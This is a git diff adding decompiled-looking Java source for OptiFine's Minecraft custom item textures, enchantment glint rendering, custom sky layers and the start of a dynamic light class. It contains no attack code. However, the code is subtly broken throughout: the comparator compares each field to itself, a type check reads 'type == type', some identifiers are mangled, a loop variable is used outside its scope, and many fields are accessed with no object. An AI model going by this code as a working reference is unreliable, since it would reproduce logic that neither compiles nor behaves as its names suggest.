+    String[] names = ResUtils.collectFiles(rp, prefixes, suffixes);
+    
+    for (int i = 0; i < names.length; i++)
+    {
+      String path = names[i];
+      String name = StrUtils.removePrefixSuffix(path, prefixes, suffixes);
+      Properties props = makePotionProperties(name, splash, path);
+      
+      if (props != null)
+      {
+        String pathProp = StrUtils.removeSuffix(path, suffixes) + ".properties";
+        CustomItemProperties cip = new CustomItemProperties(props, pathProp);
+        map.put(pathProp, cip);
+      }
+    }
+    
+    return map;
+  }
+  
+  private static Properties makePotionProperties(String name, boolean splash, String path)
+  {
+    if (StrUtils.endsWith(name, new String[] { "_n", "_s" }))
+    {
+      return null;
+    }
+    
+
+
+
+    if ((name.equals("empty")) && (!splash))
+    {
+      int potionItemId = Item.getIdFromItem(Items.glass_bottle);
+      Properties var8 = new Properties();
+      var8.put("type", "item");
+      var8.put("items", potionItemId);
+      return var8;
+    }
+    
+
+    int potionItemId = Item.getIdFromItem(Items.potionitem);
+    int[] damages = (int[])getMapPotionIds().get(name);
+    
+    if (damages == null)
+    {
+      Config.warn("Potion not found for image: " + path);
+      return null;
+    }
+    
+
+    StringBuffer bufDamage = new StringBuffer();
+    
+    for (int damageMask = 0; damageMask < damages.length; damageMask++)
+    {
+      int props = damages[damageMask];
+      
+      if (splash)
+      {
+        props |= 0x4000;
+      }
+      
+      if (damageMask > 0)
+      {
+        bufDamage.append(" ");
+      }
+      
+      bufDamage.append(props);
+    }
+    
+    short var9 = 16447;
+    Properties var10 = new Properties();
+    var10.put("type", "item");
+    var10.put("items", potionItemId);
+    var10.put("damage", bufDamage.toString());
+    var10.put("damageMask", var9);
+    
+    if (splash)
+    {
+      var10.put("texture.potion_bottle_splash", name);
+    }
+    else
+    {
+      var10.put("texture.potion_bottle_drinkable", name);
+    }
+    
+    return var10;
+  }
+  
+
+
+
+  private static Map getMapPotionIds()
+  {
+    if (mapPotionIds == null)
+    {
+      mapPotionIds = new java.util.LinkedHashMap();
+      mapPotionIds.put("water", new int[1]);
+      mapPotionIds.put("awkward", new int[] { 16 });
+      mapPotionIds.put("thick", new int[] { 32 });
+      mapPotionIds.put("potent", new int[] { 48 });
+      mapPotionIds.put("regeneration", getPotionIds(1));
+      mapPotionIds.put("moveSpeed", getPotionIds(2));
+      mapPotionIds.put("fireResistance", getPotionIds(3));
+      mapPotionIds.put("poison", getPotionIds(4));
+      mapPotionIds.put("heal", getPotionIds(5));
+      mapPotionIds.put("nightVision", getPotionIds(6));
+      mapPotionIds.put("clear", getPotionIds(7));
+      mapPotionIds.put("bungling", getPotionIds(23));
+      mapPotionIds.put("charming", getPotionIds(39));
+      mapPotionIds.put("rank", getPotionIds(55));
+      mapPotionIds.put("weakness", getPotionIds(8));
+      mapPotionIds.put("damageBoost", getPotionIds(9));
+      mapPotionIds.put("moveSlowdown", getPotionIds(10));
+      mapPotionIds.put("diffuse", getPotionIds(11));
+      mapPotionIds.put("smooth", getPotionIds(27));
+      mapPotionIds.put("refined", getPotionIds(43));
+      mapPotionIds.put("acrid", getPotionIds(59));
+      mapPotionIds.put("harm", getPotionIds(12));
+      mapPotionIds.put("waterBreathing", getPotionIds(13));
+      mapPotionIds.put("invisibility", getPotionIds(14));
+      mapPotionIds.put("thin", getPotionIds(15));
+      mapPotionIds.put("debonair", getPotionIds(31));
+      mapPotionIds.put("sparkling", getPotionIds(47));
+      mapPotionIds.put("stinky", getPotionIds(63));
+    }
+    
+    return mapPotionIds;
+  }
+  
+  private static int[] getPotionIds(int baseId)
+  {
+    return new int[] { baseId, baseId + 16, baseId + 32, baseId + 48 };
+  }
+  
+  private static int getPotionNameDamage(String name)
+  {
+    String fullName = "potion." + name;
+    Potion[] effectPotions = Potion.potionTypes;
+    
+    for (int i = 0; i < effectPotions.length; i++)
+    {
+      Potion potion = effectPotions[i];
+      
+      if (potion != null)
+      {
+        String potionName = potion.getName();
+        
+        if (fullName.equals(potionName))
+        {
+          return potion.getId();
+        }
+      }
+    }
+    
+    return -1;
+  }
+  
+  private static List makePropertyList(CustomItemProperties[][] propsArr)
+  {
+    ArrayList list = new ArrayList();
+    
+    if (propsArr != null)
+    {
+      for (int i = 0; i < propsArr.length; i++)
+      {
+        CustomItemProperties[] props = propsArr[i];
+        ArrayList propList = null;
+        
+        if (props != null)
+        {
+          propList = new ArrayList(Arrays.asList(props));
+        }
+        
+        list.add(propList);
+      }
+    }
+    
+    return list;
+  }
+  
+  private static CustomItemProperties[][] propertyListToArray(List list)
+  {
+    CustomItemProperties[][] propArr = new CustomItemProperties[list.size()][];
+    
+    for (int i = 0; i < list.size(); i++)
+    {
+      List subList = (List)list.get(i);
+      
+      if (subList != null)
+      {
+        CustomItemProperties[] subArr = (CustomItemProperties[])subList.toArray(new CustomItemProperties[subList.size()]);
+        Arrays.sort(subArr, new CustomItemsComparator());
+        propArr[i] = subArr;
+      }
+    }
+    
+    return propArr;
+  }
+  
+  private static void addToItemList(CustomItemProperties cp, List itemList)
+  {
+    if (items != null)
+    {
+      for (int i = 0; i < items.length; i++)
+      {
+        int itemId = items[i];
+        
+        if (itemId <= 0)
+        {
+          Config.warn("Invalid item ID: " + itemId);
+        }
+        else
+        {
+          addToList(cp, itemList, itemId);
+        }
+      }
+    }
+  }
+  
+  private static void addToEnchantmentList(CustomItemProperties cp, List enchantmentList)
+  {
+    if (type == 2)
+    {
+      if (enchantmentIds != null)
+      {
+        for (int i = 0; i < 256; i++)
+        {
+          if (enchantmentIds.isInRange(i))
+          {
+            addToList(cp, enchantmentList, i);
+          }
+        }
+      }
+    }
+  }
+  
+  private static void addToList(CustomItemProperties cp, List list, int id)
+  {
+    while (id >= list.size())
+    {
+      list.add(null);
+    }
+    
+    Object subList = (List)list.get(id);
+    
+    if (subList == null)
+    {
+      subList = new ArrayList();
+      list.set(id, subList);
+    }
+    
+    ((List)subList).add(cp);
+  }
+  
+  public static IBakedModel getCustomItemModel(ItemStack itemStack, IBakedModel model, ModelResourceLocation modelLocation)
+  {
+    if (model.isAmbientOcclusionEnabled())
+    {
+      return model;
+    }
+    if (itemProperties == null)
+    {
+      return model;
+    }
+    
+
+    CustomItemProperties props = getCustomItemProperties(itemStack, 1);
+    return props == null ? model : props.getModel(modelLocation);
+  }
+  
+
+  public static boolean bindCustomArmorTexture(ItemStack itemStack, int layer, String overlay)
+  {
+    if (itemProperties == null)
+    {
+      return false;
+    }
+    
+
+    ResourceLocation loc = getCustomArmorLocation(itemStack, layer, overlay);
+    
+    if (loc == null)
+    {
+      return false;
+    }
+    
+
+    Config.getTextureManager().bindTexture(loc);
+    return true;
+  }
+  
+
+
+  private static ResourceLocation getCustomArmorLocation(ItemStack itemStack, int layer, String overlay)
+  {
+    CustomItemProperties props = getCustomItemProperties(itemStack, 3);
+    
+    if (props == null)
+    {
+      return null;
+    }
+    if (mapTextureLocations == null)
+    {
+      return null;
+    }
+    
+
+    Item item = itemStack.getItem();
+    
+    if (!(item instanceof ItemArmor))
+    {
+      return null;
+    }
+    
+
+    ItemArmor itemArmor = (ItemArmor)item;
+    String material = itemArmor.getArmorMaterial().func_179242_c();
+    StringBuffer sb = new StringBuffer();
+    sb.append("texture.");
+    sb.append(material);
+    sb.append("_layer_");
+    sb.append(layer);
+    
+    if (overlay != null)
+    {
+      sb.append("_");
+      sb.append(overlay);
+    }
+    
+    String key = sb.toString();
+    ResourceLocation loc = (ResourceLocation)mapTextureLocations.get(key);
+    return loc;
+  }
+  
+
+
+  private static CustomItemProperties getCustomItemProperties(ItemStack itemStack, int type)
+  {
+    if (itemProperties == null)
+    {
+      return null;
+    }
+    if (itemStack == null)
+    {
+      return null;
+    }
+    
+
+    Item item = itemStack.getItem();
+    int itemId = Item.getIdFromItem(item);
+    
+    if ((itemId >= 0) && (itemId < itemProperties.length))
+    {
+      CustomItemProperties[] cips = itemProperties[itemId];
+      
+      if (cips != null)
+      {
+        for (int i = 0; i < cips.length; i++)
+        {
+          CustomItemProperties cip = cips[i];
+          
+          if ((type == type) && (matchesProperties(cip, itemStack, null)))
+          {
+            return cip;
+          }
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+
+  private static boolean matchesProperties(CustomItemProperties cip, ItemStack itemStack, int[][] enchantmentIdLevels)
+  {
+    Item item = itemStack.getItem();
+    
+    if (damage != null)
+    {
+      int idLevels = itemStack.getItemDamage();
+      
+      if (damageMask != 0)
+      {
+        idLevels &= damageMask;
+      }
+      
+      if (damagePercent)
+      {
+        int nbt = item.getMaxDamage();
+        idLevels = (int)(idLevels * 100 / nbt);
+      }
+      
+      if (!damage.isInRange(idLevels))
+      {
+        return false;
+      }
+    }
+    
+    if ((stackSize != null) && (!stackSize.isInRange(stackSize)))
+    {
+      return false;
+    }
+    
+
+    int[][] var8 = enchantmentIdLevels;
+    
+
+
+
+    if (enchantmentIds != null)
+    {
+      if (enchantmentIdLevels == null)
+      {
+        var8 = getEnchantmentIdLevels(itemStack);
+      }
+      
+      boolean var9 = false;
+      
+      for (int i = 0; i < var8.length; i++)
+      {
+        int ntv = var8[i][0];
+        
+        if (enchantmentIds.isInRange(ntv))
+        {
+          var9 = true;
+          break;
+        }
+      }
+      
+      if (!var9)
+      {
+        return false;
+      }
+    }
+    
+    if (enchantmentLevels != null)
+    {
+      if (var8 == null)
+      {
+        var8 = getEnchantmentIdLevels(itemStack);
+      }
+      
+      boolean var9 = false;
+      
+      for (int i = 0; i < var8.length; i++)
+      {
+        int ntv = var8[i][1];
+        
+        if (enchantmentLevels.isInRange(ntv))
+        {
+          var9 = true;
+          break;
+        }
+      }
+      
+      if (!var9)
+      {
+        return false;
+      }
+    }
+    
+    if (nbtTagValues != null)
+    {
+      NBTTagCompound var10 = itemStack.getTagCompound();
+      
+      for (int i = 0; i < nbtTagValues.length; i++)
+      {
+        NbtTagValue var11 = nbtTagValues[i];
+        
+        if (!var11.matches(var10))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private static int[][] getEnchantmentIdLevels(ItemStack itemStack)
+  {
+    Item item = itemStack.getItem();
+    NBTTagList nbt = item == Items.enchanted_book ? Items.enchanted_book.func_92110_g(itemStack) : itemStack.getEnchantmentTagList();
+    
+    if ((nbt != null) && (nbt.tagCount() > 0))
+    {
+      int[][] arr = new int[nbt.tagCount()][2];
+      
+      for (int i = 0; i < nbt.tagCount(); i++)
+      {
+        NBTTagCompound tag = nbt.getCompoundTagAt(i);
+        short id = tag.getShort("id");
+        short lvl = tag.getShort("lvl");
+        arr[i][0] = id;
+        arr[i][1] = lvl;
+      }
+      
+      return arr;
+    }
+    
+
+    return EMPTY_INT2_ARRAY;
+  }
+  
+
+  public static boolean renderCustomEffect(RenderItem renderItem, ItemStack itemStack, IBakedModel model)
+  {
+    if (enchantmentProperties == null)
+    {
+      return false;
+    }
+    if (itemStack == null)
+    {
+      return false;
+    }
+    
+
+    int[][] idLevels = getEnchantmentIdLevels(itemStack);
+    
+    if (idLevels.length <= 0)
+    {
+      return false;
+    }
+    
+
+    HashSet layersRendered = null;
+    boolean rendered = false;
+    TextureManager textureManager = Config.getTextureManager();
+    
+    for (int i = 0; i < idLevels.length; i++)
+    {
+      int id = idLevels[i][0];
+      
+      if ((id >= 0) && (id < enchantmentProperties.length))
+      {
+        CustomItemProperties[] cips = enchantmentProperties[id];
+        
+        if (cips != null)
+        {
+          for (int p = 0; p < cips.length; p++)
+          {
+            CustomItemProperties cip = cips[p];
+            
+            if (layersRendered == null)
+            {
+              layersRendered = new HashSet();
+            }
+            
+            if ((layersRendered.add(Integer.valueOf(id))) && (matchesProperties(cip, itemStack, idLevels)) && (textureLocation != null))
+            {
+              textureManager.bindTexture(textureLocation);
+              float width = cip.getTextureWidth(textureManager);
+              
+              if (!rendered)
+              {
+                rendered = true;
+                GlStateManager.depthMask(false);
+                GlStateManager.depthFunc(514);
+                GlStateManager.disableLighting();
+                GlStateManager.matrixMode(5890);
+              }
+              
+              Blender.setupBlend(blend, 1.0F);
+              GlStateManager.pushMatrix();
+              GlStateManager.scale(width / 2.0F, width / 2.0F, width / 2.0F);
+              float offset = speed * (float)(Minecraft.getSystemTime() % 3000L) / 3000.0F / 8.0F;
+              GlStateManager.translate(offset, 0.0F, 0.0F);
+              GlStateManager.rotate(rotation, 0.0F, 0.0F, 1.0F);
+              renderItem.func_175035_a(model, -1);
+              GlStateManager.popMatrix();
+            }
+          }
+        }
+      }
+    }
+    
+    if (rendered)
+    {
+      GlStateManager.enableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableLighting();
+      GlStateManager.depthFunc(515);
+      GlStateManager.depthMask(true);
+      textureManager.bindTexture(TextureMap.locationBlocksTexture);
+    }
+    
+    return rendered;
+  }
+  
+
+
+  public static boolean renderCustomArmorEffect(EntityLivingBase entity, ItemStack itemStack, ModelBase model, float limbSwing, float prevLimbSwing, float partialTicks, float timeLimbSwing, float yaw, float pitch, float scale)
+  {
+    if (enchantmentProperties == null)
+    {
+      return false;
+    }
+    if ((Config.isShaders()) && (Shaders.isShadowPass))
+    {
+      return false;
+    }
+    if (itemStack == null)
+    {
+      return false;
+    }
+    
+
+    int[][] idLevels = getEnchantmentIdLevels(itemStack);
+    
+    if (idLevels.length <= 0)
+    {
+      return false;
+    }
+    
+
+    HashSet layersRendered = null;
+    boolean rendered = false;
+    TextureManager textureManager = Config.getTextureManager();
+    
+    for (int i = 0; i < idLevels.length; i++)
+    {
+      int id = idLevels[i][0];
+      
+      if ((id >= 0) && (id < enchantmentProperties.length))
+      {
+        CustomItemProperties[] cips = enchantmentProperties[id];
+        
+        if (cips != null)
+        {
+          for (int p = 0; p < cips.length; p++)
+          {
+            CustomItemProperties cip = cips[p];
+            
+            if (layersRendered == null)
+            {
+              layersRendered = new HashSet();
+            }
+            
+            if ((layersRendered.add(Integer.valueOf(id))) && (matchesProperties(cip, itemStack, idLevels)) && (textureLocation != null))
+            {
+              textureManager.bindTexture(textureLocation);
+              float width = cip.getTextureWidth(textureManager);
+              
+              if (!rendered)
+              {
+                rendered = true;
+                
+                if (Config.isShaders())
+                {
+                  ShadersRender.layerArmorBaseDrawEnchantedGlintBegin();
+                }
+                
+                GlStateManager.enableBlend();
+                GlStateManager.depthFunc(514);
+                GlStateManager.depthMask(false);
+              }
+              
+              Blender.setupBlend(blend, 1.0F);
+              GlStateManager.disableLighting();
+              GlStateManager.matrixMode(5890);
+              GlStateManager.loadIdentity();
+              GlStateManager.rotate(rotation, 0.0F, 0.0F, 1.0F);
+              float texScale = width / 8.0F;
+              GlStateManager.scale(texScale, texScale / 2.0F, texScale);
+              float offset = speed * (float)(Minecraft.getSystemTime() % 3000L) / 3000.0F / 8.0F;
+              GlStateManager.translate(0.0F, offset, 0.0F);
+              GlStateManager.matrixMode(5888);
+              model.render(entity, limbSwing, prevLimbSwing, timeLimbSwing, yaw, pitch, scale);
+            }
+          }
+        }
+      }
+    }
+    
+    if (rendered)
+    {
+      GlStateManager.enableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.matrixMode(5890);
+      GlStateManager.loadIdentity();
+      GlStateManager.matrixMode(5888);
+      GlStateManager.enableLighting();
+      GlStateManager.depthMask(true);
+      GlStateManager.depthFunc(515);
+      GlStateManager.disableBlend();
+      
+      if (Config.isShaders())
+      {
+        ShadersRender.layerArmorBaseDrawEnchantedGlintEnd();
+      }
+    }
+    
+    return rendered;
+  }
+  
+
+
+  public static boolean isUseGlint()
+  {
+    return useGlint;
+  }
+}
diff --git a/src/minecraft/optifine/CustomItemsComparator.java b/src/minecraft/optifine/CustomItemsComparator.java
new file mode 100644
index 0000000..95ef891
--- /dev/null
+++ b/src/minecraft/optifine/CustomItemsComparator.java
@@ -0,0 +1,13 @@
+package optifine;
+
+import java.util.Comparator;
+
+public class CustomItemsComparator implements Comparator {
+  public CustomItemsComparator() {}
+  
+  public int compare(Object o1, Object o2) {
+    CustomItemProperties p1 = (CustomItemProperties)o1;
+    CustomItemProperties p2 = (CustomItemProperties)o2;
+    return !Config.equals(basePath, basePath) ? basePath.compareTo(basePath) : weight != weight ? weight - weight : name.compareTo(name);
+  }
+}
diff --git a/src/minecraft/optifine/CustomSky.java b/src/minecraft/optifine/CustomSky.java
new file mode 100644
index 0000000..5e36d98
--- /dev/null
+++ b/src/minecraft/optifine/CustomSky.java
@@ -0,0 +1,188 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Properties;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public class CustomSky
+{
+  private static CustomSkyLayer[][] worldSkyLayers = null;
+  
+  public CustomSky() {}
+  
+  public static void reset() { worldSkyLayers = null; }
+  
+
+  public static void update()
+  {
+    
+    
+    if (Config.isCustomSky())
+    {
+      worldSkyLayers = readCustomSkies();
+    }
+  }
+  
+  private static CustomSkyLayer[][] readCustomSkies()
+  {
+    CustomSkyLayer[][] wsls = new CustomSkyLayer[10][0];
+    String prefix = "mcpatcher/sky/world";
+    int lastWorldId = -1;
+    int worldCount = 0;
+    
+    while (worldCount < wsls.length)
+    {
+      String wslsTrim = prefix + worldCount + "/sky";
+      ArrayList i = new ArrayList();
+      int sls = 1;
+      
+
+
+      while (sls < 1000)
+      {
+
+
+        String path = wslsTrim + sls + ".properties";
+        
+        try
+        {
+          ResourceLocation e = new ResourceLocation(path);
+          InputStream in = Config.getResourceStream(e);
+          
+          if (in == null) {
+            break;
+          }
+          
+
+          Properties props = new Properties();
+          props.load(in);
+          in.close();
+          Config.dbg("CustomSky properties: " + path);
+          String defSource = wslsTrim + sls + ".png";
+          CustomSkyLayer sl = new CustomSkyLayer(props, defSource);
+          
+          if (sl.isValid(path))
+          {
+            ResourceLocation locSource = new ResourceLocation(source);
+            ITextureObject tex = TextureUtils.getTexture(locSource);
+            
+            if (tex == null)
+            {
+              Config.log("CustomSky: Texture not found: " + locSource);
+            }
+            else
+            {
+              textureId = tex.getGlTextureId();
+              i.add(sl);
+              in.close();
+            }
+          }
+        }
+        catch (FileNotFoundException var15)
+        {
+          break;
+        }
+        catch (IOException var16)
+        {
+          var16.printStackTrace();
+        }
+        
+        sls++;
+      }
+      
+
+
+      if (i.size() > 0)
+      {
+        CustomSkyLayer[] var19 = (CustomSkyLayer[])i.toArray(new CustomSkyLayer[i.size()]);
+        wsls[worldCount] = var19;
+        lastWorldId = worldCount;
+      }
+      
+      worldCount++;
+    }
+    
+
+
+    if (lastWorldId < 0)
+    {
+      return null;
+    }
+    
+
+    worldCount = lastWorldId + 1;
+    CustomSkyLayer[][] var17 = new CustomSkyLayer[worldCount][0];
+    
+    for (int var18 = 0; var18 < var17.length; var18++)
+    {
+      var17[var18] = wsls[var18];
+    }
+    
+    return var17;
+  }
+  
+
+  public static void renderSky(World world, net.minecraft.client.renderer.texture.TextureManager re, float celestialAngle, float rainBrightness)
+  {
+    if (worldSkyLayers != null)
+    {
+      if (getGameSettingsrenderDistanceChunks >= 8)
+      {
+        int dimId = provider.getDimensionId();
+        
+        if ((dimId >= 0) && (dimId < worldSkyLayers.length))
+        {
+          CustomSkyLayer[] sls = worldSkyLayers[dimId];
+          
+          if (sls != null)
+          {
+            long time = world.getWorldTime();
+            int timeOfDay = (int)(time % 24000L);
+            
+            for (int i = 0; i < sls.length; i++)
+            {
+              CustomSkyLayer sl = sls[i];
+              
+              if (sl.isActive(world, timeOfDay))
+              {
+                sl.render(timeOfDay, celestialAngle, rainBrightness);
+              }
+            }
+            
+            Blender.clearBlend(rainBrightness);
+          }
+        }
+      }
+    }
+  }
+  
+  public static boolean hasSkyLayers(World world)
+  {
+    if (worldSkyLayers == null)
+    {
+      return false;
+    }
+    if (getGameSettingsrenderDistanceChunks < 8)
+    {
+      return false;
+    }
+    
+
+    int dimId = provider.getDimensionId();
+    
+    if ((dimId >= 0) && (dimId < worldSkyLayers.length))
+    {
+      CustomSkyLayer[] sls = worldSkyLayers[dimId];
+      return sls != null;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/optifine/CustomSkyLayer.java b/src/minecraft/optifine/CustomSkyLayer.java
new file mode 100644
index 0000000..86c1299
--- /dev/null
+++ b/src/minecraft/optifine/CustomSkyLayer.java
@@ -0,0 +1,371 @@
+package optifine;
+
+import java.util.Properties;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.world.World;
+
+public class CustomSkyLayer
+{
+  public String source = null;
+  private int startFadeIn = -1;
+  private int endFadeIn = -1;
+  private int startFadeOut = -1;
+  private int endFadeOut = -1;
+  private int blend = 1;
+  private boolean rotate = false;
+  private float speed = 1.0F;
+  private float[] axis;
+  private RangeListInt days;
+  private int daysLoop;
+  public int textureId;
+  public static final float[] DEFAULT_AXIS = { 1.0F, 0.0F, 0.0F };
+  
+  public CustomSkyLayer(Properties props, String defSource)
+  {
+    axis = DEFAULT_AXIS;
+    days = null;
+    daysLoop = 8;
+    textureId = -1;
+    ConnectedParser cp = new ConnectedParser("CustomSky");
+    source = props.getProperty("source", defSource);
+    startFadeIn = parseTime(props.getProperty("startFadeIn"));
+    endFadeIn = parseTime(props.getProperty("endFadeIn"));
+    startFadeOut = parseTime(props.getProperty("startFadeOut"));
+    endFadeOut = parseTime(props.getProperty("endFadeOut"));
+    blend = Blender.parseBlend(props.getProperty("blend"));
+    rotate = parseBoolean(props.getProperty("rotate"), true);
+    speed = parseFloat(props.getProperty("speed"), 1.0F);
+    axis = parseAxis(props.getProperty("axis"), DEFAULT_AXIS);
+    days = cp.parseRangeListInt(props.getProperty("days"));
+    daysLoop = cp.parseInt(props.getProperty("daysLoop"), 8);
+  }
+  
+  private int parseTime(String str)
+  {
+    if (str == null)
+    {
+      return -1;
+    }
+    
+
+    String[] strs = Config.tokenize(str, ":");
+    
+    if (strs.length != 2)
+    {
+      Config.warn("Invalid time: " + str);
+      return -1;
+    }
+    
+
+    String hourStr = strs[0];
+    String minStr = strs[1];
+    int hour = Config.parseInt(hourStr, -1);
+    int min = Config.parseInt(minStr, -1);
+    
+    if ((hour >= 0) && (hour <= 23) && (min >= 0) && (min <= 59))
+    {
+      hour -= 6;
+      
+      if (hour < 0)
+      {
+        hour += 24;
+      }
+      
+      int time = hour * 1000 + (int)(min / 60.0D * 1000.0D);
+      return time;
+    }
+    
+
+    Config.warn("Invalid time: " + str);
+    return -1;
+  }
+  
+
+
+
+  private boolean parseBoolean(String str, boolean defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    if (str.toLowerCase().equals("true"))
+    {
+      return true;
+    }
+    if (str.toLowerCase().equals("false"))
+    {
+      return false;
+    }
+    
+
+    Config.warn("Unknown boolean: " + str);
+    return defVal;
+  }
+  
+
+  private float parseFloat(String str, float defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    float val = Config.parseFloat(str, Float.MIN_VALUE);
+    
+    if (val == Float.MIN_VALUE)
+    {
+      Config.warn("Invalid value: " + str);
+      return defVal;
+    }
+    
+
+    return val;
+  }
+  
+
+
+  private float[] parseAxis(String str, float[] defVal)
+  {
+    if (str == null)
+    {
+      return defVal;
+    }
+    
+
+    String[] strs = Config.tokenize(str, " ");
+    
+    if (strs.length != 3)
+    {
+      Config.warn("Invalid axis: " + str);
+      return defVal;
+    }
+    
+
+    float[] fs = new float[3];
+    
+    for (int ax = 0; ax < strs.length; ax++)
+    {
+      fs[ax] = Config.parseFloat(strs[ax], Float.MIN_VALUE);
+      
+      if (fs[ax] == Float.MIN_VALUE)
+      {
+        Config.warn("Invalid axis: " + str);
+        return defVal;
+      }
+      
+      if ((fs[ax] < -1.0F) || (fs[ax] > 1.0F))
+      {
+        Config.warn("Invalid axis values: " + str);
+        return defVal;
+      }
+    }
+    
+    float var9 = fs[0];
+    float ay = fs[1];
+    float az = fs[2];
+    
+    if (var9 * var9 + ay * ay + az * az < 1.0E-5F)
+    {
+      Config.warn("Invalid axis values: " + str);
+      return defVal;
+    }
+    
+
+    float[] as = { az, ay, -var9 };
+    return as;
+  }
+  
+
+
+
+  public boolean isValid(String path)
+  {
+    if (source == null)
+    {
+      Config.warn("No source texture: " + path);
+      return false;
+    }
+    
+
+    source = TextureUtils.fixResourcePath(source, TextureUtils.getBasePath(path));
+    
+    if ((startFadeIn >= 0) && (endFadeIn >= 0) && (endFadeOut >= 0))
+    {
+      int timeFadeIn = normalizeTime(endFadeIn - startFadeIn);
+      
+      if (startFadeOut < 0)
+      {
+        startFadeOut = normalizeTime(endFadeOut - timeFadeIn);
+        
+        if (timeBetween(startFadeOut, startFadeIn, endFadeIn))
+        {
+          startFadeOut = endFadeIn;
+        }
+      }
+      
+      int timeOn = normalizeTime(startFadeOut - endFadeIn);
+      int timeFadeOut = normalizeTime(endFadeOut - startFadeOut);
+      int timeOff = normalizeTime(startFadeIn - endFadeOut);
+      int timeSum = timeFadeIn + timeOn + timeFadeOut + timeOff;
+      
+      if (timeSum != 24000)
+      {
+        Config.warn("Invalid fadeIn/fadeOut times, sum is not 24h: " + timeSum);
+        return false;
+      }
+      if (speed < 0.0F)
+      {
+        Config.warn("Invalid speed: " + speed);
+        return false;
+      }
+      if (daysLoop <= 0)
+      {
+        Config.warn("Invalid daysLoop: " + daysLoop);
+        return false;
+      }
+      
+
+      return true;
+    }
+    
+
+
+    Config.warn("Invalid times, required are: startFadeIn, endFadeIn and endFadeOut.");
+    return false;
+  }
+  
+
+
+  private int normalizeTime(int timeMc)
+  {
+    while (timeMc >= 24000)
+    {
+      timeMc -= 24000;
+    }
+    
+    while (timeMc < 0)
+    {
+      timeMc += 24000;
+    }
+    
+    return timeMc;
+  }
+  
+  public void render(int timeOfDay, float celestialAngle, float rainBrightness)
+  {
+    float brightness = rainBrightness * getFadeBrightness(timeOfDay);
+    brightness = Config.limit(brightness, 0.0F, 1.0F);
+    
+    if (brightness >= 1.0E-4F)
+    {
+      GlStateManager.func_179144_i(textureId);
+      Blender.setupBlend(blend, brightness);
+      GlStateManager.pushMatrix();
+      
+      if (rotate)
+      {
+        GlStateManager.rotate(celestialAngle * 360.0F * speed, axis[0], axis[1], axis[2]);
+      }
+      
+      Tessellator tess = Tessellator.getInstance();
+      GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(-90.0F, 0.0F, 0.0F, 1.0F);
+      renderSide(tess, 4);
+      GlStateManager.pushMatrix();
+      GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+      renderSide(tess, 1);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.rotate(-90.0F, 1.0F, 0.0F, 0.0F);
+      renderSide(tess, 0);
+      GlStateManager.popMatrix();
+      GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+      renderSide(tess, 5);
+      GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+      renderSide(tess, 2);
+      GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+      renderSide(tess, 3);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+
+
+
+  private float getFadeBrightness(int timeOfDay)
+  {
+    if (timeBetween(timeOfDay, startFadeIn, endFadeIn))
+    {
+      int timeFadeOut = normalizeTime(endFadeIn - startFadeIn);
+      int timeDiff = normalizeTime(timeOfDay - startFadeIn);
+      return timeDiff / timeFadeOut;
+    }
+    if (timeBetween(timeOfDay, endFadeIn, startFadeOut))
+    {
+      return 1.0F;
+    }
+    if (timeBetween(timeOfDay, startFadeOut, endFadeOut))
+    {
+      int timeFadeOut = normalizeTime(endFadeOut - startFadeOut);
+      int timeDiff = normalizeTime(timeOfDay - startFadeOut);
+      return 1.0F - timeDiff / timeFadeOut;
+    }
+    
+
+    return 0.0F;
+  }
+  
+
+  private void renderSide(Tessellator tess, int side)
+  {
+    WorldRenderer wr = tess.getWorldRenderer();
+    double tx = side % 3 / 3.0D;
+    double ty = side / 3 / 2.0D;
+    wr.startDrawingQuads();
+    wr.addVertexWithUV(-100.0D, -100.0D, -100.0D, tx, ty);
+    wr.addVertexWithUV(-100.0D, -100.0D, 100.0D, tx, ty + 0.5D);
+    wr.addVertexWithUV(100.0D, -100.0D, 100.0D, tx + 0.3333333333333333D, ty + 0.5D);
+    wr.addVertexWithUV(100.0D, -100.0D, -100.0D, tx + 0.3333333333333333D, ty);
+    tess.draw();
+  }
+  
+  public boolean isActive(World world, int timeOfDay)
+  {
+    if (timeBetween(timeOfDay, endFadeOut, startFadeIn))
+    {
+      return false;
+    }
+    
+
+    if (days != null)
+    {
+      long time = world.getWorldTime();
+      
+
+      for (long timeShift = time - startFadeIn; timeShift < 0L; timeShift += 24000 * daysLoop) {}
+      
+
+
+
+      int day = (int)(timeShift / 24000L);
+      int dayOfLoop = day % daysLoop;
+      
+      if (!days.isInRange(dayOfLoop))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private boolean timeBetween(int timeOfDay, int timeStart, int timeEnd)
+  {
+    return (timeOfDay >= timeStart) && (timeOfDay <= timeEnd);
+  }
+}
diff --git a/src/minecraft/optifine/DynamicLight.java b/src/minecraft/optifine/DynamicLight.java
new file mode 100644
index 0000000..bc60940
--- /dev/null
+++ b/src/minecraft/optifine/DynamicLight.java
@@ -0,0 +1,184 @@
+package optifine;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
